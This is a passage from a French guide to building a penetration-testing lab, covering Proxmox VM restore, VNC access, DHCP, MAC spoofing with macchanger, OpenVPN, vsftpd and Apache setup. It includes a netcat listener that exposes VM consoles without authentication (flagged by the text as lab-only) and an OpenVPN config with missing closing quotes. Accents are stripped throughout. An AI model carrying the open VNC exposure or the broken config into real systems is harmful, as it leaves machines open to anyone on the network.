progress 7% (read 751632384 bytes, duration 0 sec)
progress 8% (read 859045888 bytes, duration 0 sec)
progress 9% (read 966393856 bytes, duration 0 sec)
progress 10% (read 1073741824 bytes, duration 0 sec)
progress 11% (read 1181155328 bytes, duration 0 sec)
progress 12% (read 1288503296 bytes, duration 0 sec)
...
progress 98% (read 10522722304 bytes, duration 1 sec)
progress 99% (read 10630070272 bytes, duration 1 sec)
progress 100% (read 10737418240 bytes, duration 1 sec)
total bytes read 10737418240, sparse bytes 10737414144 (100%)
space reduction due to 4K zero bocks 1.5e+03%
root@proxmox:~# qm list
VMID NAME STATUS MEM(MB) BOOTDISK(GB) PID
500 Win1 stopped 512 10.00 0
501 Win1 stopped 512 10.00 0
root@proxmox:~#
Nous constatons bien que la VM dID 501 prsente une mmoire RAM de 512 Mo et un
disque dur de 10 Go aprs restauration. Le problme est quelle possde le mme nom que la
machine 500. Changeons celui-ci.
root@proxmox:~# qm set 501 -name Win2
root@proxmox:~# qm list
VMID NAME STATUS MEM(MB) BOOTDISK(GB) PID
500 Win1 stopped 512 10.00 0
501 Win2 stopped 512 10.00 0
root@proxmox:~#
Lors de la restauration, nous avons plac le paramtre unique 1. Ceci permet de gnrer une
nouvelle adresse MAC pour la VM clone. Comparons les deux fichiers de configuration des
VM 500 et 501.
root@proxmox:~# more /etc/pve/qemu-server/500.conf
bootdisk: ide0
cores: 1
ide0: local:500/vm-500-disk-1.raw,size=10G
ide2: local:iso/WinXP3_VL.iso,media=cdrom,size=615474K
kvm: 0
memory: 512
name: Win1
net0: rtl8139=82:EE:6A:BE:82:DA,bridge=vmbr0
ostype: wxp
sockets: 1
root@proxmox:~# more /etc/pve/qemu-server/501.conf
bootdisk: ide0
cores: 1
ide0: local:501/vm-501-disk-1.raw,size=10G
ide2: local:iso/WinXP3_VL.iso,media=cdrom,size=615474K
kvm: 0
memory: 512
name: Win2
net0: rtl8139=EE:79:7D:A2:BD:0F,bridge=vmbr0
ostype: wxp
sockets: 1
root@proxmox:~#
Les adresses MAC sont bien diffrentes ainsi que le nom de VM et, le plus important, le nom
du disque dur.
Lmulation dune machine avec KVM / QEMU tant totale au niveau du matriel, elle est
souvent utilise dans le cas de machines Windows. Pour accder ces machines, nous avons
vu quil tait possible de le faire via linterface web dans une console Java. Cette console
nest pas toujours trs stable et il est parfois prfrable denvisager dautres moyens daccder
la VM si nous en avons la possibilit. Ce nest bien entendu pas toujours le cas. Dans la
situation o nous nous trouvons, nous avons le contrle total de notre serveur Proxmox et du
rseau. Nous pouvons donc ouvrir un port qui sera redirig vers un contrle distant de type
VNC (Virtual Network Computing) de notre machine virtuelle. En effet, Proxmox utilise
VNC pour laccs aux machines KVM. Cette connexion passe par un proxy VNC. Il est
possible de passer un argument la VM soit en ligne de commande, soit directement dans son
fichier de configuration. Nous allons modifier celui-ci pour quil coute sur une IP
quelconque sur un port donn. Pour ce faire, nous ajoutons la ligne suivante la fin du fichier
/etc/pve/qemu-server/500.conf :
args: -vnc 0.0.0.0:100
Attention, lcoute dune connexion VNC se fera sur toutes les adresses IP mais pas sur le
port 100 comme indiqu en fin de ligne. En effet, le port par dfaut tant 5900, le nombre
mentionn en fin de ligne sera ajout au port initial. Lcoute se fera donc ici sur le port 6000.
Il faut ensuite rediriger la connexion effectue sur le Proxmox dans le proxy VNC de la VM.
Ceci est assez simple avec la commande suivante :
root@proxmox:~# nc -l -p 5900 -c "qm vncproxy 500"
Voil, nous pouvons nous connecter la VM dID 500 en VNC sur le port 6000. Mais quel
client utiliser ? Dans le cas dun systme Windows, nous vous conseillons TightVNC
disponible ladresse suivante : http://www.tightvnc.com/
Il existe une version compltement Open Source de celui-ci. Nous tlchargeons celle-ci et
linstallons. Nous validons le premier cran et le deuxime en cochant lacceptation de la
licence. Nous ne voulons installer que le client et pas le serveur. Nous cliquons alors sur
Custom au troisime cran.

Nous choisissons de ne pas installer le serveur (Entire feature will be unavailable) et
passons la suite. Pour les deux crans suivants, nous acceptons les options par dfaut, puis
linstallation seffectue. Il ne reste plus qu cliquer sur Finish au dernier cran.
Nous dmarrons TightVNC et saisissons ladresse de notre serveur Proxmox dans le champ
requis, suivie du port 6000 spar par :: de lIP, puis cliquons sur Connect.

La connexion stablit et nous sommes face notre VM Windows dID 500.

La procdure est encore plus simple sous Linux. Si vous tes sous Debian, TightVNC se
trouve dans les dpts :
root@bt:~# aptitude search tightvnc
p tightvnc-java - TightVNC
java applet and command line program
p tightvncserver - virtual
network computing server software
c xtightvncviewer - virtual
network computing client software for X
root@bt:~#
Un simple aptitude install fera laffaire. Bien souvent, le paquet est dj install avec la
distribution.
root@bt:~# aptitude install xtightvncviewer
Reading package lists... Done
Building dependency tree
Reading state information... Done
Reading extended state information
Initializing package states... Done
The following NEW packages will be installed:
xtightvncviewer
0 packages upgraded, 1 newly installed, 0 to remove and 0 not
upgraded.
Need to get 63.7kB of archives. After unpacking 201kB will be used.
1.3.9-6) ...
...
Processing triggers for menu ...
Reading package lists... Done
Building dependency tree
Reading state information... Done
Reading extended state information
Initializing package states... Done
Writing extended state information... Done

root@bt:~#
Le client VNC peut alors tre lanc en prcisant lIP du serveur et le port dcoute.
root@bt:~# vncviewer 10.5.5.2::6000

VNC Viewer Free Edition 4.1.1 for X - built Apr 9 2010 15:52:37
Copyright (C) 2002-2005 RealVNC Ltd.
See http://www.realvnc.com for information on VNC.

Sat Apr 6 09:35:41 2013
CConn: connected to host 10.5.5.2 port 6000
CConnection: Server supports RFB protocol version 3.8
CConnection: Using RFB protocol version 3.8
TXImage: Using default colormap and visual, TrueColor, depth
24.
CConn: Using pixel format depth 6 (8bpp) rgb222
CConn: Using ZRLE encoding
Nous voyons la connexion stablir et nous nous trouvons face lcran de la VM dID 500.

Ici, nous ne trouvons pas le menu de configuration comme sous Windows, mais nous pouvons
faire apparatre celui-ci en pressant [F8].
Le fait de passer par le serveur vncproxy du Proxmox permet daccder toutes les VM sans
distinction de systme dexploitation et en vitant la console Java. Cela permet aussi
linstallation de tout type de systme dexploitation.
Attention, la procdure que nous avons indique ici est purement pratique dans le cadre dun
laboratoire. Elle nest absolument pas scurise, car tout le monde peut se connecter aux VM
sans restriction et les communications ne sont pas chiffres.
Par la suite, une fois les systmes installs sur les VM, il est possible denvisager toutes les
techniques dadministration distante, par exemple :
Installer un serveur VNC directement sur le systme de la VM.
Utiliser Rdesktop pour les machines Windows.
Utiliser SSH pour les machines Linux.
Utiliser des services de connexions de machines par serveur extrieur intermdiaire
comme TeamViewer ou Logmein.
tablir une connexion VNC chiffre par un certificat sur Proxmox.
Toutes ces techniques dpassent le cadre de notre laboratoire de test et nous ne les
dvelopperons pas ici. Nous vous conseillons malgr tout dans le cadre dune mise en
production de vous intresser de prs celles-ci.
Conclusion
Ce chapitre nous a montr la puissance quoffre la mise en place dun serveur Proxmox. Si la
cration de machines virtuelles avec KVM permet dmuler le matriel et dinstaller des
systmes complets, nous constatons que son utilisation est moins souple que celle dOpenVZ.
Cest pour cette raison que nous vous conseillons dutiliser plutt des conteneurs quand cela
est possible.
Proxmox offre bien dautres possibilits et nous navons parcouru que celles qui nous
paraissaient essentielles pour la mise en place de notre laboratoire de test. Pour passer une
relle mise en production de services sur ce type de serveur, nous ne saurions trop vous
conseiller de vous reporter la documentation de Proxmox.
Notre laboratoire nest pas encore prt pour commencer des tests de pntration. Il faut
prsent mettre en place tout ce qui est rencontr couramment dans un rseau dentreprise,
priv ou dadministration. Le chapitre suivant va tre consacr ces installations.
Machines virtuelles et services
Introduction
Le Proxmox tant install, nous allons nous atteler crer diffrentes machines virtuelles
telles que prsentes dans le chapitre Proxmox. Pour chacune des parties suivantes, nous
aurons, au pralable, install une machine virtuelle sous Debian.
Nous ne reviendrons pas sur linstallation des diffrentes machines virtuelles mais nous nous
concentrerons sur les services installer.
Nous aurons besoin, pour la cration de notre laboratoire, de desservir du DHCP, davoir
accs en VPN sur notre Proxmox, davoir un accs un serveur FTP, de disposer dun serveur
sous asterisk pour tester la VoIP, de diffrentes autres machines o nous installerons des
preuves de hacking telles que des crackmes, des wargames, des failles web, mais nous
aurons aussi besoin de superviser tout cela.
Dans ce chapitre, nous crerons et installerons puis configurerons les diffrentes machines
suivant nos besoins afin davoir la fin du chapitre un laboratoire fonctionnel de hacking.
Serveur DHCP
Nous aurons peut-tre un certain moment besoin de donner des adresses IP nos diffrentes
machines, quelles soient virtuelles ou relles.
Un serveur DHCP nous simplifiera la vie et nous permettra dattribuer des adresses IP
alatoires ou non suivant la configuration de ce dernier.
Nous ferons le choix de distribuer des adresses IP fixes pour nos machines virtuelles et des
adresses IP dynamiques pour les autres machines, cest--dire nos machines clientes.
1. Installation des paquets ncessaires
Nous allons dabord installer les paquets ncessaires :
fasm# aptitude install isc-dhcp-server


Le paquet est maintenant install mais le serveur DHCP ne peut pas se lancer pour linstant ;
nous devons configurer le serveur.
Le service qui tait avant dhcpd est maintenant devenu isc-dhcp-server.
Rappelons ici que pour lancer le serveur comme la plupart des services sous Debian et
Ubuntu, le stopper ou le relancer, nous pourrons utiliser ces commandes :
fasm# service isc-dhcp-server start|stop|restart
2. Configuration
Le fichier de configuration se trouve dans /etc/dhcp et se nomme dhcp.conf.
Nous pouvons ouvrir ce fichier :

Ci-dessus nous avons bien sr un extrait de la configuration par dfaut. La plupart des
possibilits offertes par ce serveur DHCP sont crites mais dvalides grce au signe #
qui se trouve devant la ligne.
Nous avons juste supprimer le # et modifier la configuration en fonction de notre rseau
(masque de rseau, adressage IP, passerelle, DNS) suivant ce que nous avons dcid
comme distribution dadresses DHCP.
Ce qui nous importe est la partie qui va nous permettre dattribuer des adresses IP dynamiques
pour les machines clientes et des adresses IP fixes pour les machines virtuelles.
Il nous faudra donc dj pour ces dernires connatre leur adresse MAC.
Un simple ifconfig nous fournira ces informations :

Ladresse MAC par exemple pour cette machine virtuelle est, pour linterface rseau eth0,
08:00:27:5e:7b:a7.
eth0 est le nom de notre carte rseau sous Linux ; cela aurait pu tre eth1, eth2 wlan0 ou autre
suivant notre type de liaison (filaire ou Wi-Fi).
Nous pouvons donc maintenant commencer configurer le fichier /etc/dhcp/dhcpd.conf.
Nous allons donc ouvrir ce fichier, grce nano par exemple, et indiquer les adresses MAC
correspondant des adresses IP suivant le plan dadressage que nous aurons dfini, par
exemple, 192.168.1.0 / 24.

Dans lexemple ci-dessus, deux machines sont configures en adresses IP fixes, la machine
vm_ftp dadresse MAC 08:00:27:5e:7b:a7 et la machine vm_web dadresse MAC
08:00:27:5e:7b:a2 qui auront respectivement les adresses IP 192.168.1.2 et 192.168.1.3.
La configuration type pour chaque machine est :
host nom_machine {
hardware ethernet adresse_MAC ;
fixed-address adresse_IP ;
}
Nous pourrons de la mme manire imposer les adresses IP en fonction des adresses MAC
des autres machines virtuelles.
Rappelons que ladresse MAC est compose de six octets spars par des : et que les trois
premiers octets sont lidentifiant du constructeur et les trois derniers, un numro unique
correspondant linterface rseau.
En thorie, cette adresse MAC est unique et devait tre infalsifiable sa cration mais nous en
sommes loin car une simple commande Linux permet de la changer.
Nous pourrons si nous le souhaitons installer le paquet macchanger qui permet de changer ces
adresses MAC mais au redmarrage de la machine, ladresse MAC dorigine sera restaure.
fasm# aptitude install macchanger macchanger-gtk
Les commandes suivantes permettent de changer entre autres votre adresse MAC :
# macchanger eth1
Current MAC: 00:40:96:43:ef:9c [wireless] (Cisco/Aironet 4800/340)
Faked MAC: 00:40:96:43:ef:9d [wireless] (Cisco/Aironet 4800/340)
# macchanger --endding eth1
Current MAC: 00:40:96:43:e8:ec [wireless] (Cisco/Aironet 4800/340)
Faked MAC: 00:40:96:6f:0f:f2 [wireless] (Cisco/Aironet 4800/340)
# macchanger --another eth1
Current MAC: 00:40:96:43:87:1f [wireless] (Cisco/Aironet 4800/340)
Faked MAC: 00:02:2d:ec:00:6f [wireless] (Lucent Wavelan IEEE)
# macchanger -A eth1
Current MAC: 00:40:96:43:39:a6 [wireless] (Cisco/Aironet 4800/340)
Faked MAC: 00:10:5a:1e:06:93 (3Com, Fast Etherlink XL in a Gateway)
# macchanger -r eth1
Current MAC: 00:40:96:43:f1:fc [wireless] (Cisco/Aironet 4800/340)
Faked MAC: 6b:fd:10:37:d2:34 (unknown)
# macchanger --mac=01:23:45:67:89:AB eth1
Current MAC: 00:40:96:43:87:65 [wireless] (Cisco/Aironet 4800/340)
Faked MAC: 01:23:45:67:89:ab (unknown)
# ./macchanger -list=Cray
Misc MACs:
Num MAC Vendor
--- --- ------
065 -- 00:00:7d -- Cray Research Superservers,Inc
068 -- 00:00:80 -- Cray Communications (formerly Dowty Network
Services)
317 -- 00:40:a6 -- Cray Research Inc.
Il nous faudra bien sr configurer chaque machine virtuelle pour que leur interface, eth0 par
exemple, soit en DHCP (client). Nous verrons cela lorsque nous aurons fini de configurer le
serveur.
Nous pouvons passer maintenant la configuration des machines clientes qui seront en
adressage dynamique.
Ces machines devront bien sr tre sur la mme plage rseau que les diffrentes VM afin
quelles puissent communiquer.

Nous avons ci-dessus la configuration correspondant ladressage des machines virtuelles,
soit de 192.168.1.20 192.168.1.100. Comme dit prcdemment, ces machines seront en
adressage dynamique, cest--dire quelles pourraient changer dadresse IP chaque
redmarrage. Nous aurions pu bien sr limiter le nombre de machines et nautoriser qu
distribuer des adresses IP allant de 192.168.1.20 192.168.1.30 si nous navions besoin que
de 11 machines virtuelles (le principe est identique pour des machines non virtuelles).
La configuration minimale pour dterminer des adresses IP statiques est donc :
Subnet adresse_reseau netmask masque_reseau {
range ip_premiere_machine ip_derniere_machine ;
option routeurs ip_passerelle ;
}
Il existe bien sr beaucoup doptions et configurations possibles, nous pourrons pour cela
aller rechercher sur Internet toutes les possibilits offertes par le serveur DHCP suivant nos
besoins.
Les machines qui se connecteront en DHCP sur ce rseau obtiendront donc automatiquement
une adresse IP.
Sous Linux, il suffit deffectuer la commande suivante pour obtenir une adresse IP :
client1# dhclient eth0
On suppose bien sr que linterface rseau du client est eth0.
Pour connatre le nom des diffrentes cartes rseau de notre machine, il suffit dexcuter la
commande suivante :
fasm# ifconfig -a
Si nous effectuons un simple ifconfig et que nous ne voyons pas de carte rseau ou pas toutes,
imaginons que ce soit eth1 que nous ne voyons pas, il suffit de faire :
fasm#ifconfig eth1 up
Avant de tenter de lancer le serveur DHCP, il va falloir que la machine virtuelle DHCP ait
une adresse IP statique dans la plage rseau configure dans dhcpd.conf.
Nous allons pour cela configurer le fichier interfaces qui se trouve dans /etc/network.
Nous lui attribuerons ladresse IP 192.168.1.1.
Nous pouvons ouvrir ce fichier grce nano par exemple :
fasm#nano /etc/network/interfaces


La configuration par dfaut est une demande DHCP. Nous devons donc changer cela pour une
adresse IP statique. Ainsi, chaque redmarrage, la machine aura toujours la mme adresse
IP.

Nous pouvons maintenant relancer les interfaces rseau.
Pour cela, nous devrons nous rendre dans /etc/init.d afin de trouver le dmon rseau qui se
nomme networking.
La commande sera donc :
fasm #/etc/init.d/networking restart
Si nous souhaitons juste le stopper, nous remplacerons restart par stop ou par start si nous
voulons le lancer.

Nous voyons ici que dans la partie eth0, aprs inet adr:, nous avons notre adresse IP inscrite
avec un masque en /24 en notation CIDR, soit 255.255.255.0.
La configuration a russi ; nous pouvons tenter de lancer le serveur DHCP.

Tout fonctionne parfaitement, nous avons maintenant un serveur DHCP fonctionnel.
Nous pourrons tester le bon fonctionnement ds que nous aurons une autre machine virtuelle
dans laquelle nous lancerons un dhclient eth0 par exemple et quune adresse IP sera
distribue.
Nous pouvons passer linstallation et la configuration des autres services.
OpenVPN
OpenVPN est une solution qui se base sur SSL et son port est 1194. Il est compos dun
serveur et de clients. Il va donc y avoir une authentification du client et du serveur et la
cration dun canal scuris entre les deux.
Ce service est assez simple configurer si nous suivons bien la procdure dcrite ci-dessous.
Nous devons maintenant, avec le chapitre Proxmox, avoir toutes les notions ncessaires et
connatre parfaitement la dfinition et le fonctionnement de route et bridge.
Rappelons quand mme quil existe deux modes de fonctionnement, le rout et le bridg
:
Le mode rout permet de connecter des utilisateurs itinrants un rseau interne. Nous
appelons aussi cela le NAT. Dans une machine virtuelle en NAT, la machine aura une
adresse diffrente (rseau diffrent) de la machine relle. Par exemple, la machine
relle pourra tre en 192.168.1.0 et les machines en NAT en 10.2.0.0.
Le mode pont ou bridg permet de relier entre eux deux sous-rseaux. Nous pourrons
dans ce cas avoir par exemple la machine relle dans la mme plage dadresse IP que
la machine virtuelle.
Grce OpenVPN, nous allons pouvoir accder de nimporte o dans le monde nos
ressources locales de manire scurise, soit ici notre laboratoire.
1. Installation des paquets
Ici encore rien de plus facile, un simple aptitude install et le logiciel est install sur notre
machine, qui, je le rappelle, peut tre une nouvelle machine virtuelle sous Debian par
exemple.
Nous aurions pu aussi installer le VPN sur la mme machine que la VM DHCP mais nous
prfrons ici une machine par service.
fasm# aptitude install openvpn


Nous allons ensuite copier les fichiers de configuration :
sudo mkdir /etc/openvpn/easy-rsa/
sudo cp -r /usr/share/doc/openvpn/examples/easy-rsa/2.0/* /etc/
openvpn/easy-rsa/
sudo chown -R $USER /etc/openvpn/easy-rsa/


Nous sommes prts pour configurer maintenant le serveur et le client.
2. Configuration
a. Serveur
Nous allons regarder ce qui a t copi dans le rpertoire easy-rsa :

ditons le fichier vars.

Nous avons ici les valeurs par dfaut des variables.
Nous allons donc entrer ce que nous dsirons, par exemple :

Nous allons maintenant gnrer les certificats (.crt) et les cls (.key) :
cd /etc/openvpn/easy-rsa/
source vars
./clean-all
./build-dh
./pkitool -initca
./pkitool -server server
sudo openvpn -genkey -secret keys/ta.key



Il nous reste excuter la dernire commande et aller voir si les cls ont bien t gnres
dans le rpertoire keys :

Les cls et certificats sont donc bien prsents. Ce qui nous intresse, ce sont les fichiers
server.crt, server.key, ta.key, dh1024.pem, ca.key et ca.crt.
Nous avons besoin de les dplacer. Nous pouvons donc les copier dans /etc/openvpn :
sudo cp keys/ca.crt keys/ta.key keys/server.crt keys/server.key
keys/dh1024.pem /etc/openvpn/
La cration des certificats du ct serveur est termine.
Nous pouvons maintenant gnrer un rpertoire /etc/openvpn/jail dans lequel le processus
OpenVPN sera chroot (cest--dire que chacun sera prisonnier de son espace personnel)
afin de limiter les dgts en cas de faille dans OpenVPN, puis un autre rpertoire,
/etc/openvpn/clientconf, qui contiendra la configuration des clients.
Chrooter un programme consiste le lancer en utilisant la commande chroot. Cette
commande permet de changer lemplacement de la racine (/). Cest--dire que les utilisateurs
auront limpression dtre la racine (/) alors quen ralit ils se trouveront dans
/etc/openvpn/jail.
Dun point de vue scurit, ils seront comme enferms dans ce rpertoire et ne pourrons
en thorie pas en sortir.
sudo mkdir /etc/openvpn/jail
sudo mkdir /etc/openvpn/clientconf
Nous pouvons maintenant passer au fichier de configuration principal et crer le fichier
server.conf qui se trouve dans /etc/openvpn/.
fasm# nano server.conf

# Serveur TCP/443
mode server
dev tun
proto tcp
port 443
dev tun
# Cles et certificats
ca ca.crt
cert server.crt
key server.key
dh dh1024.pem
tls-auth ta.key 0
cipher AES-256-CBC
# Reseau
server 10.8.0.0 255.255.255.0
push "redirect-gateway def1 bypass-dhcp"
push "dhcp-option DNS 8.8.8.8
push "dhcp-option DNS 8.8.4.4
keepalive 10 120
# Securite
user nobody
group nogroup
chroot /etc/openvpn/jail
persist-key
persist-tun
comp-lzo
# Log
verb 3
mute 20
status openvpn-status.log
; log-append /var/log/openvpn.log
Le fichier server.conf est configur sur le port 443 en TCP mais nous pouvons bien sr dfinir
le protocole UDP et le port que nous souhaitons.
Nous pouvons maintenant tester notre configuration :
fasm#openvpn server.conf


Nous obtenons la fin Sequence Completed . La configuration prcdente est donc
correcte.
Nous pouvons reprendre le fichier prcdent afin dajouter une dernire ligne :
log-append /var/log/openvpn.log
Nous pouvons lancer le serveur maintenant :
fasm# /etc/init.d/openvpn start
Le serveur est lanc, le client peut se connecter sur ce dernier mais nous ne pouvons pas faire
grand-chose de plus. En effet, la plage dadresses 10.8.0.0 nest pas route.
Il va donc falloir maintenant router cela.
Nous allons donc configurer le serveur pour quil joue le rle de routeur entre linterface VPN
(tun0) et linterface physique eth0 et natter les adresses en 10.8.0.x vers ladresse relle.
Nous aurions pu configurer le serveur non pas en tun mais en tap . La littrature
dOpenVPN nous indique quil est souhaitable de rester en tun.
Tun et tap sont des priphriques virtuels.
Tap simule un lien (link layer) et se situe au niveau de la couche 2 du modle OSI.
Tun est un tunnel rseau qui simule un priphrique de la couche Ethernet et qui travaille avec
la couche 3 du modle OSI comme les paquets IP.
Nous allons dabord autoriser le forwarding (routage) :
fasm# echo 1 > /proc/sys/net/ipv4/ip_forward
Pour rendre ce paramtre permanent, mme aprs un redmarrage, nous devons entrer dans le
fichier /etc/sysctl.conf et mettre la variable net.ipv4.ip_forward=1, cette variable tant dj
prsente dans le fichier de configuration mais initialise 0.
Nous devons maintenant raliser la translation dadresse (NAT) et ce, grce aux rgles
iptables.
Iptables sera vu en dtail dans le chapitre Scurisation du PC qui parlera de scurisation des
systmes. Mais pour linstant, contentons-nous dappliquer la rgle suivante :
fasm#iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j
MASQUERADE
Pour tre concis pour linstant, tout ce qui transite par le rseau 10.8.0.0/24 est transfr vers
la carte rseau eth0. Nous obtenons donc directement, ds la validation de cette rgle, laccs
au rseau, surtout Internet, du client connect au VPN.
Nous pouvons bien entendu rendre cette rgle fixe mme au redmarrage en sauvegardant
celle-ci.
iptables-save > /etc/iptables.rules
Le serveur est prt, nous pouvons configurer prsent le client.
b. Client
Nous allons encore un peu rester sur le serveur, nous devons en effet gnrer les cls pour
chaque client que nous souhaitons accueillir.
Supposons que nous souhaitions crer une cl pour un client Franck.
Nous devons dabord nous rendre dans le dossier appropri et gnrer ensuite la cl.
cd /etc/openvpn/easy-rsa
source vars
./build-key Franck
Voici ce que nous obtenons :



Le script a gnr trois fichiers dans /etc/openvpn/easy-rsa/keys/ :
Franck.crt : certificat pour le client
Franck.key : cl pour le client
Franck.csr : certificat garder sur le serveur
Pour nous simplifier la tche, nous allons crer une archive avec les cls afin de transmettre
facilement ces dernires au client.
Nous allons pour cela copier les fichiers ncessaires pour le client dans son dossier sur le
serveur, dossier que nous allons crer.
fasm#mkdir /etc/openvpn/clientconf/Franck
fasm#cp /etc/openvpn/ca.crt /etc/openvpn/ta.key keys/Franck.crt
keys/Franck.key /etc/openvpn/clientconf/Franck
Nous allons maintenant entrer dans le rpertoire du client puis configurer un fichier que nous
nommerons client.conf.
fasm#cd /etc/openvpn/clientconf/Franck
fasm# nano client.conf
# Client
client
dev tun
proto tcp-client
#adresse IP du serveur VPN
remote 192.168.1.2 443
resolv-retry infinite
cipher AES-256-CBC
# Cles
ca ca.crt
cert Franck.crt
key Franck.key
tls-auth ta.key 1
# Securite
nobind
persist-key
persist-tun
comp-lzo
verb 3
Si nous souhaitons utiliser OpenVPN sous Windows, il nous suffira de renommer ce fichier
client.conf en client.ovpn.
Nous excuterons donc la commande :
fasm#cp client.conf client.ovpn
Il suffit maintenant de transfrer tous ces fichiers au client en le zippant par exemple grce
la commande zip.
fasm@/etc/openvpn/clientconf/Franck# zip Franck.zip *.*
Nous pouvons transfrer ce fichier au client qui le dzippera dans un rpertoire quil aura
pralablement cr (exemple : /home/fasm/vpn/).
Sur le client, ds rception du fichier, nous nous placerons dans le rpertoire dsir et nous
excuterons :
Client$unzip Franck.zip
Le client se placera ensuite dans ce rpertoire et lancera la commande :
Client# openvpn client.conf
Si tout se passe bien, nous obtiendrons lcran suivant :

Voil, nous sommes dans un VPN, une connexion scurise, et partir de maintenant,
nimporte o dans le monde, nous avons accs nos machines.
Que se passe-t-il si nous sommes dans une entreprise et que nous passons par un proxy ?
Dans ce cas, pas de problme, il suffit dajouter une ligne dans le client.conf :
http-proxy adresse_ip_proxy port_proxy passwd.txt basic
Le fichier passwd.txt qui se trouvera dans le mme rpertoire que client.conf comportera en
premire ligne votre login de connexion et en deuxime ligne votre mot de passe.
Serveur FTP
Nous aurons besoin dans notre laboratoire de mettre disposition de la documentation, des
binaires ou autres.
Un moyen rapide et efficace est davoir disposition un serveur FTP. Il en existe beaucoup,
nous prendrons VsFTP.
Que souhaitons-nous ?
Que chaque utilisateur se connecte avec un identifiant propre. Le systme pourra ainsi
garder la trace des actions de chacun (savoir qui fait quoi).
Que chaque utilisateur dispose dun espace o il puisse stocker ses fichiers de faon
prive.
Que chaque utilisateur puisse accder un espace public.
Tout cela est faisable facilement grce vsftpd (Very Secure FTPd ) qui quipe des serveurs
FTP tels que ceux de Red Hat, Suse, OpenBSD, kernel.org et Debian.
1. Installation
L non plus, rien de trs compliqu : il suffit dexcuter la commande ci-aprs :
fasm#aptitude install vsftpd
Ceci, dans une nouvelle machine virtuelle nomme par exemple VM-FTP.
Linstallation est termine.
2. Configuration
Ici, pas trop de questions se poser, nous naurons quun seul fichier de configuration
modifier.
Par dfaut, si nous laissons le fichier dinstallation, nous pouvons nous connecter en anonyme
sur le serveur FTP (aprs lavoir lanc, bien sr).
Nous allons donc modifier tout cela pour ladapter notre vision du FTP.
Nous allons ouvrir le fichier vsftpd.conf qui se trouve dans /etc/.
Dans le fichier ci-dessous, nous avons pour chaque configuration, lexplication incluse juste
au-dessus.
# Nous voulons que le serveur fonctionne en mode standalone
listen=YES
#
# On ne veut surtout pas de connexions en mode anonymous
anonymous_enable=NO
#
# On veut que les utilisateurs locaux puissent se connecter
local_enable=YES
#
# On veut que les utilisateurs puissent remonter des fichiers sur
# le serveur
write_enable=YES
#
# On fixe le masque local a 022 (les fichiers remonts auront
# des droits en 755)
local_umask=022
#
# On interdit lupload anonyme
anon_upload_enable=NO
#
# Idem pour la creation de repertoires
anon_mkdir_write_enable=NO
#
# On demande a ce que les actions des utilisateurs soient loguees
xferlog_enable=YES
#
# On verifie que la commande PORT provient bien du port 20 de
# la machine cliente
connect_from_port_20=YES
#
# Les logs seront enregistres dans le fichier /var/log/vsftpd.log
xferlog_file=/var/log/vsftpd.log
#
# On declare les valeurs de timeout. Celles fournies par defaut
# sont ok pour notre utilisation
idle_session_timeout=300
data_connection_timeout=120
connect_timeout=60
accept_timeout=60
#
# Par securite, on interdit la commande ABOR
async_abor_enable=NO
#
# Les transferts en ASCII sont souvent source de confusion
ascii_upload_enable=NO
ascii_download_enable=NO
#
# Par securite, on change la banniere
ftpd_banner=Bienvenue sur le serveur du Laboratoire de Hacking
#
# On veut limiter les utilisateurs a leur repertoire
chroot_local_user=YES
chroot_list_enable=NO
#
# Les heures denregistrement des fichiers seront affichees a
# lheure locale
use_localtime=YES
Nous pouvons maintenant tenter de lancer le serveur FTP :
fasm#/etc/init.d/vsftpd start


Le serveur est lanc.
Les utilisateurs ont accs leur rpertoire personnel (il faut que les utilisateurs aient tous t
crs sur le serveur) et leurs actions sur le serveur sont enregistres dans /var/log/vsftpd.log.
Nous allons en crer un pour nous rappeler les commandes :

Dans lexemple ci-dessus, nous crons un utilisateur codej grce la commande adduser.
Des renseignements nous sont demands dont le plus important, le mot de passe. Une fois
reue la confirmation que les informations correctes ont t renseignes, lutilisateur a son
espace personnel dans /home/codej.
Nous pouvons crer autant dutilisateurs que nous le souhaitons.
Nous continuerons par la cration dun espace commun tous les utilisateurs.
Nous allons donc crer de nouveau un utilisateur que nous nommerons par exemple
pour_tous .
Les fichiers devront tre lus par nimporte quel utilisateur, nous allons donc devoir attribuer
des droits ce rpertoire un peu spcial.
fasm#chmod -R 755 /home/pour_tous
fasm#chown pour_tous:pour_tous -R /home/pour_tous
Nous donnons donc les droits 755 au fichier pour_tous. Cela veut dire que lutilisateur
pour_tous a les droits en lecture, criture et excution. Le groupe pour_tous a les droits en
lecture et excution et enfin, les autres ont les droits en lecture et excution.
Nous allons maintenant crer dans chaque rpertoire de chaque utilisateur un rpertoire
pour_tous .
fasm#mkdir /home/codej/pour_tous
fasm#chown codej:codej /home/codej/pour_tous
fasm#chmod 755 /home/codej/pour_tous
Nous devons ensuite crer le lien entre le rpertoire pour_tous de /home et le rpertoire
pour_tous de chaque utilisateur.
Nous allons pour cela aller dans le fichier /etc/fstab afin dajouter une ligne par utilisateur.
fasm#nano /etc/fstab
/home/pour_tous /home/codej/pour_tous auto bind,defaults 0 0
Nous pouvons maintenant monter ce rpertoire :
fasm#mount /home/codej/pour_tous
Nous pouvons nous connecter maintenant avec un client FTP quelconque, par exemple
FileZilla, pour vrifier le bon fonctionnement de notre serveur FTP.


Nous sommes connects au serveur FTP. Nous pouvons maintenant mettre disposition les
fichiers que nous voulons partager.
Serveur web
Dans les challenges de scurit informatique, les preuves les plus russies et les mieux
apprcies sont les preuves web (dtection des failles web).
Dans un prochain chapitre, nous verrons comment mettre en place ces preuves afin de tester
notre capacit les rsoudre. Pour cela, nous avons besoin dun serveur web. Le plus clbre
est Apache, il est produit par la Apache Software Foundation .
1. Installation
fasm# aptitude install apache2


2. Configuration
Une configuration minimale et beaucoup plus simple sera explique dans le prochain chapitre.
Nous allons donc ici dtailler une installation un peu plus complique mais plus adaptable
nos besoins.
Tous les fichiers de configuration sont dans le rpertoire /etc/apache2.
Si nous excutons une commande ls dans ce rpertoire, nous trouverons 9 fichiers qui ont
chacun une utilit dtaille ci-dessous et qui est une traduction de la documentation officielle :
httpd.conf est le fichier utilis par Apache1, il est conserv vide dans Apache2 pour
assurer la rtrocompatibilit. Il ne nous servira pas.
envvars est utilis pour dfinir des variables denvironnement propres Apache.
ports.conf contient la directive Listen qui spcifie les adresses et les ports dcoute.
apache2.conf est le fichier principal de configuration car cest partir de lui que tous
les autres fichiers sont chargs.
conf.d est un rpertoire qui contient plusieurs petits fichiers qui seront analyss par
Apache. Le seul fichier pour le moment est charset, qui spcifie lencodage utiliser
par dfaut.
mods-available contient la liste des modules dApache installs.
